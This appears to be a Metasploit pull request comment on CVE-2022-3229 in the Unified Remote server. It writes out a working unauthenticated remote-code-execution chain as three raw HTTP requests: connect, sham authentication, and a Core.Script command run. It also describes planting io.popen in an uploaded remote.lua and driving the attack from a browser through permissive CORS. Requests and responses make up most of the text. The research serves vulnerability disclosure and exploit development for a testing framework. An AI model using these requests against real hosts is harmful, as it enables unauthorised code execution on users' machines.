Headline
CVE-2022-3229: unified_remote exploit by h00die · Pull Request #16989 · rapid7/metasploit-framework
Because the web management interface for Unified Intents’ Unified Remote solution does not itself require authentication, a remote, unauthenticated attacker can change or disable authentication requirements for the Unified Remote protocol, and leverage this now-unauthenticated access to run code of the attacker’s choosing.
Small albeit possibly unnecessary update following some additional research into the functionality and modules in UnifiedRemote. I identified a different and possibly more convenient means of achieving Remote Code Execution and a potential avenue for making exploitation Web Triggerable through XHR (though I am yet to get it working).
Another avenue for RCE against the Unified Remote Web Server itself is simply to send three HTTP requests. The first initiates a connection attempt which returns a UR-Connection-ID value.
GET /client/connect HTTP/1.1
Host: localhost:9510
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost:9510/client/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----
HTTP/1.1 200 OK
Date: Mon, 06 Feb 2023 21:14:29 GMT
Connection: Close
Content-Type: application/json
{
"id" : "3e709400-a663-11ed-ae76-000c296b19a8"
}
This is then used to ‘authenticate’ though any values and the previously provided ID can be used.
POST /client/request HTTP/1.1
Host: localhost:9510
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
UR-Connection-ID: 3e709400-a663-11ed-ae76-000c296b19a8
X-Requested-With: XMLHttpRequest
Content-Length: 132
Origin: http://localhost:9510
Connection: close
Referer: http://localhost:9510/client/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"Action":0,"Request":0,"Version":10,"Password":"a95db90f-8f22-49cc-a49b-4ecc1cd40d13","Platform":"android","Source":"android-test"}
Finally the same UR-Connection-ID can be used to call the Core.Script module and pass it the necessary Command layout values.
POST /client/request HTTP/1.1
Host: localhost:9510
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
UR-Connection-ID: 3e709400-a663-11ed-ae76-000c296b19a8
X-Requested-With: XMLHttpRequest
Content-Length: 314
Origin: http://localhost:9510
Connection: close
Referer: http://localhost:9510/client/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"ID":"Core.Script","Action":7,"Request":7,"Run":{"Name":"default","Extras" : {"Values" : [{"Key" : "cmd","Value" : "calc.exe"}]}},"Source":"android-test"}
As for the potential for Web Triggerable abuse, the server utilizes Access-Control-Allow-Origin: * on numerous /web
and /system endpoints. One in particular that stood out was the /system/remote/add endpoint. This allows for uploading a new ‘remote’ package as a Zip file which includes a remote.lua script. (I simply used an existing sample remote from the remotes folder in programdata). This file can be changed to the following:
io.popen("<system-command-here>")
It is theoretically possible that one may be able to submit the zip file as base64 through use of base64 in atob() and use of ajax/xhr requests in javascript. Though CORS forbids the content-type header which has made inferring the body data as an octet stream quite challenging. The server accepts both this and the follow up /system/reload request through xhr requests however fails to find the Zip file stream start point when attempting to process it.
Anyway, cheers.